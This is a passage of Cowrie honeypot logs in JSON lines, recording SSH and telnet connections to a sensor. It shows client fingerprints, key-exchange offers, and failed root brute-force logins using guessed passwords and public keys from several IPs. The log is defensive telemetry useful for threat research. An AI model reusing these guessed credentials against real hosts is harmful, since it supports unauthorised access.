,"aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:11.413275Z","src_ip":"103.27.238.116","session":"c52d22f6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1984","message":"login attempt [root/1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:12.259659Z","src_ip":"103.27.238.116","session":"c52d22f6263b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:13.546434Z","src_ip":"103.27.238.116","session":"c52d22f6263b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":37634,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cab15f5c116","protocol":"ssh","message":"New connection: 103.149.170.125:37634 (10.17.0.5:22) [session: 5cab15f5c116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:21.533393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:21.537925Z","src_ip":"103.149.170.125","session":"5cab15f5c116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:21.805795Z","src_ip":"103.149.170.125","session":"5cab15f5c116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenochka","message":"login attempt [root/lenochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:22.609681Z","src_ip":"103.149.170.125","session":"5cab15f5c116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:23.880825Z","src_ip":"103.149.170.125","session":"5cab15f5c116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8f8496bf12","protocol":"ssh","message":"New connection: 89.37.117.103:49802 (10.17.0.5:22) [session: 1b8f8496bf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:37.897138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:37.902235Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.037593Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:8d:57:06:b6:c6:a0:3b:09:99:e2:b0:5d:75:05:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp8Rw4waKkwOh/6lLqycRMQ5ONE5GxuLSvUmt7kBV9Hb4ny4EKRX/BeO9Zg2ymAFaNGM+YPr3Jj6PaaTQVAyV3C9+abPfjAgEO98Gk7p+wP5R/rNDbhZUCQaZC4kvdrC8s6H/oAJOz0yfz+oflBcRGJ6cfju6BxY+uRBrFBlxLbnH02ugjrI9lr7x66lBjvD+pK7aM9mn/szxDCGOvxR8LKYrf2ihY+K8hj8rV73pngembLkRBj8jqJGztLNTZF0X58vCTefgpMWc/5SjXmMD3nwrghpDuXPfcQfTfa4/ful5QgHySML90HqOatZPnr9TVL5/9Z+/WfK0avg/gcigJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:8d:57:06:b6:c6:a0:3b:09:99:e2:b0:5d:75:05:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.676842Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:8d:57:06:b6:c6:a0:3b:09:99:e2:b0:5d:75:05:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp8Rw4waKkwOh/6lLqycRMQ5ONE5GxuLSvUmt7kBV9Hb4ny4EKRX/BeO9Zg2ymAFaNGM+YPr3Jj6PaaTQVAyV3C9+abPfjAgEO98Gk7p+wP5R/rNDbhZUCQaZC4kvdrC8s6H/oAJOz0yfz+oflBcRGJ6cfju6BxY+uRBrFBlxLbnH02ugjrI9lr7x66lBjvD+pK7aM9mn/szxDCGOvxR8LKYrf2ihY+K8hj8rV73pngembLkRBj8jqJGztLNTZF0X58vCTefgpMWc/5SjXmMD3nwrghpDuXPfcQfTfa4/ful5QgHySML90HqOatZPnr9TVL5/9Z+/WfK0avg/gcigJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.689554Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:31:25:56:ff:b1:33:cc:eb:1c:8a:cb:c6:d4:4a:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVgGEIeeF8Qt4LySf2fKCp5M6PdvcHqHblm3Te5XEihJwxJ1A0fHgg348HenDtiG42otut7s4nNtRhAqGnZWrXfDXayJHb4I28Q5SKdyTAl1h9iDiWCouR5guA48QWGiebTc6q/o6sec2q/Zl0s2kgMABWpH3Cj7zNNKqia00xcytqnDEtvF7rCCZGQNLqc8FQg9e99fES4ME9BpuE0PB3lro/1tFxOgXlzjP5ehhCpSZbv0lM0r2K/5ZIVDbJsxqJD3raz9+1l1Y+TG6jgyGWSJczwjECRyTob3m92gPwH6wkM9gMMV6mMt5tQnFbMCJznwMdqTbtefJJotifZLsN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:31:25:56:ff:b1:33:cc:eb:1c:8a:cb:c6:d4:4a:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.822363Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:31:25:56:ff:b1:33:cc:eb:1c:8a:cb:c6:d4:4a:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVgGEIeeF8Qt4LySf2fKCp5M6PdvcHqHblm3Te5XEihJwxJ1A0fHgg348HenDtiG42otut7s4nNtRhAqGnZWrXfDXayJHb4I28Q5SKdyTAl1h9iDiWCouR5guA48QWGiebTc6q/o6sec2q/Zl0s2kgMABWpH3Cj7zNNKqia00xcytqnDEtvF7rCCZGQNLqc8FQg9e99fES4ME9BpuE0PB3lro/1tFxOgXlzjP5ehhCpSZbv0lM0r2K/5ZIVDbJsxqJD3raz9+1l1Y+TG6jgyGWSJczwjECRyTob3m92gPwH6wkM9gMMV6mMt5tQnFbMCJznwMdqTbtefJJotifZLsN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.825748Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:3e:96:dc:38:f7:fa:09:e0:e0:b1:59:a3:29:d2:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBsQKb9bAmA6az+I3CvWe9MgqHph7jZLQtKv+e7IR36nJuwq0kxCNsm2S5HecfnFjlaJ4iOA7/Ixmr601GBR7stgNXt5uXGNx2Y0YG0DRuYa8QXRCTMzPTTsKkVqypIx2FrTeJDvg6l9dwIi5vG9b9ft7jmRiwWGw50fbPpcucRgo0UEei9rXDYsVRrbHrcAPAdXdZWDSUIj8OZdInVEV+irtnmOJHltM/SWl33BCEoZgNnm5QnVZRGC7PvxVxw3tg8MXaXt/R+avM2ZV8irj4IHpr6ovIFq5NyPlyWMEPZxg09VAQyopiPAitPBwjJ24CWtqPQeqFN2n1rc1kVSOP27SdKVLuLnZQWL/7xJ9anJ/kULMdXCTx0s5PsFv0W/Kz1frwBUcLmJmc55x1D4fXFTMz3GfVa76ZpPMNpJLQvTBAEXgDAAm9CjmDoFoTSk8md+zqyD0T+6d1o6kGSdHS9l/h3RYx5Vka/f0JR3KAZE8drfupNd2MvojsV24/4KQifnxz/e8zs0pWbeVioII8gN12kf/Q27qXYTdbE1wEnVxJ7pr+Rlm9zG4JNaOfaFy4DDP+Q092rPjy/YffACMPgtE66ugi/HHlT8IIDy0RbceI8rkp9eTHY5oz/IpAzpR0t1xPl1X7oRLTLRhoFLvAdK7dKvp2aSZ7itedvIZuFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:3e:96:dc:38:f7:fa:09:e0:e0:b1:59:a3:29:d2:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.958802Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:3e:96:dc:38:f7:fa:09:e0:e0:b1:59:a3:29:d2:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBsQKb9bAmA6az+I3CvWe9MgqHph7jZLQtKv+e7IR36nJuwq0kxCNsm2S5HecfnFjlaJ4iOA7/Ixmr601GBR7stgNXt5uXGNx2Y0YG0DRuYa8QXRCTMzPTTsKkVqypIx2FrTeJDvg6l9dwIi5vG9b9ft7jmRiwWGw50fbPpcucRgo0UEei9rXDYsVRrbHrcAPAdXdZWDSUIj8OZdInVEV+irtnmOJHltM/SWl33BCEoZgNnm5QnVZRGC7PvxVxw3tg8MXaXt/R+avM2ZV8irj4IHpr6ovIFq5NyPlyWMEPZxg09VAQyopiPAitPBwjJ24CWtqPQeqFN2n1rc1kVSOP27SdKVLuLnZQWL/7xJ9anJ/kULMdXCTx0s5PsFv0W/Kz1frwBUcLmJmc55x1D4fXFTMz3GfVa76ZpPMNpJLQvTBAEXgDAAm9CjmDoFoTSk8md+zqyD0T+6d1o6kGSdHS9l/h3RYx5Vka/f0JR3KAZE8drfupNd2MvojsV24/4KQifnxz/e8zs0pWbeVioII8gN12kf/Q27qXYTdbE1wEnVxJ7pr+Rlm9zG4JNaOfaFy4DDP+Q092rPjy/YffACMPgtE66ugi/HHlT8IIDy0RbceI8rkp9eTHY5oz/IpAzpR0t1xPl1X7oRLTLRhoFLvAdK7dKvp2aSZ7itedvIZuFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:38.963037Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:8b:5b:1c:6e:2f:d3:69:3e:c1:dd:67:b7:f5:f9:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKZK2nxZM2HeZNqwJAnDjzAFqGlqfvg3Ddn7C7ydzzqBvJ86u5skwMsZJNoTmUCKpxOw6+LeIQhlwZMOm0rkn0+xqXSCtGftsB2AsPyCCfX3q1eMtfAX29c3m+R9v7r/l6xGf5rzHN8QJAQ9ePA+7sNV1mztYLyfQutZWfX/7aRe9sWmQRbtc548pxG9K+qJTQykVMh8rCyMalJ1l65nuPNCsNqh9NIl1Cx/Q8elQk0rdDUQ0f/boVaISiBHe6glhbRAvvm6Z2TbVgSPTK7SnKvJo6E0xAQLcnrs1H5Gwyd1nOO3gf3FlvLiA000Z65Jcvf91Ve/15S/zJ+AEQ1Ytr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:8b:5b:1c:6e:2f:d3:69:3e:c1:dd:67:b7:f5:f9:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:39.120735Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:8b:5b:1c:6e:2f:d3:69:3e:c1:dd:67:b7:f5:f9:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKZK2nxZM2HeZNqwJAnDjzAFqGlqfvg3Ddn7C7ydzzqBvJ86u5skwMsZJNoTmUCKpxOw6+LeIQhlwZMOm0rkn0+xqXSCtGftsB2AsPyCCfX3q1eMtfAX29c3m+R9v7r/l6xGf5rzHN8QJAQ9ePA+7sNV1mztYLyfQutZWfX/7aRe9sWmQRbtc548pxG9K+qJTQykVMh8rCyMalJ1l65nuPNCsNqh9NIl1Cx/Q8elQk0rdDUQ0f/boVaISiBHe6glhbRAvvm6Z2TbVgSPTK7SnKvJo6E0xAQLcnrs1H5Gwyd1nOO3gf3FlvLiA000Z65Jcvf91Ve/15S/zJ+AEQ1Ytr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:39.124336Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:cf:81:9d:3f:f9:8d:7c:43:d2:01:53:6f:06:82:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGYi+MUyeWcDFhoqr5dfw0sLQDNfnlU5CJIkTQ3X2PvreeiVg6Js+NbhB7PPgdlq8z4P2zPe5lVp2TR1sPtP6TB/0nNfjfYrEgarSwuboVvNd1+2MKenBOM5LtyUosAgjusEOCA2l8UHB1xaRF3xDU8lInEaWv0jXVB6R7NITSdQQIFmhvORfZE1ZcxKFEOJP0fK7AfjdYr9SRhHUfW93T51RIHz7uV3qDD/7ng5+mBnfmkwC0CxFWvLHiP3BB0JTliQTKvC9jeg0CtsIK7F73yGdLA2ZFkhixuqsT950bVmYX42ShMJUDoFtOHU3HPO7GH9OgiNmUX6U2EEw6l1l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:cf:81:9d:3f:f9:8d:7c:43:d2:01:53:6f:06:82:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:39.255651Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:cf:81:9d:3f:f9:8d:7c:43:d2:01:53:6f:06:82:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGYi+MUyeWcDFhoqr5dfw0sLQDNfnlU5CJIkTQ3X2PvreeiVg6Js+NbhB7PPgdlq8z4P2zPe5lVp2TR1sPtP6TB/0nNfjfYrEgarSwuboVvNd1+2MKenBOM5LtyUosAgjusEOCA2l8UHB1xaRF3xDU8lInEaWv0jXVB6R7NITSdQQIFmhvORfZE1ZcxKFEOJP0fK7AfjdYr9SRhHUfW93T51RIHz7uV3qDD/7ng5+mBnfmkwC0CxFWvLHiP3BB0JTliQTKvC9jeg0CtsIK7F73yGdLA2ZFkhixuqsT950bVmYX42ShMJUDoFtOHU3HPO7GH9OgiNmUX6U2EEw6l1l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:39.259472Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:39.526195Z","src_ip":"89.37.117.103","session":"1b8f8496bf12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49110,"dst_ip":"10.17.0.5","dst_port":23,"session":"cddebafec632","protocol":"telnet","message":"New connection: 152.42.224.71:49110 (10.17.0.5:23) [session: cddebafec632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:55.143567Z"}
{"eventid":"cowrie.session.closed","duration":71.3974084854126,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:16.249541Z","src_ip":"152.42.224.71","session":"674290ec35a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.102059364318848,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:17.245500Z","src_ip":"152.42.224.71","session":"cddebafec632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.07953095436096,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:48.789255Z","src_ip":"152.42.224.71","session":"022c9213b7b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60252,"dst_ip":"10.17.0.5","dst_port":22,"session":"452f2edbcd3a","protocol":"ssh","message":"New connection: 87.251.79.125:60252 (10.17.0.5:22) [session: 452f2edbcd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:50.409611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:50.414828Z","src_ip":"87.251.79.125","session":"452f2edbcd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:50.486019Z","src_ip":"87.251.79.125","session":"452f2edbcd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777777","message":"login attempt [root/777777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:50.702715Z","src_ip":"87.251.79.125","session":"452f2edbcd3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:51.778132Z","src_ip":"87.251.79.125","session":"452f2edbcd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":38316,"dst_ip":"159.203.135.109","dst_port":22,"session":"14d3111c84fd","protocol":"ssh","message":"New connection: 46.19.67.181:38316 (159.203.135.109:22) [session: 14d3111c84fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:53.833630Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":33766,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb4988bc84d","protocol":"ssh","message":"New connection: 172.110.221.82:33766 (10.17.0.5:22) [session: 3bb4988bc84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:56.966951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:56.972512Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr